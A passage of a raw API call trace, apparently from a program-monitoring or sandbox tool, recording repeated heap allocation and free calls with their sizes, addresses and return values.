HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.797] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.797] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.797] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.797] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.797] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.797] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.797] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.797] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.797] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.797] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.797] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.797] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.797] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.797] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.798] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.798] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.798] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.798] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.798] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.798] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.798] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.798] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.798] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.798] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.798] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.798] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.798] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.798] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0113.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.804] RtlAllocateHeap 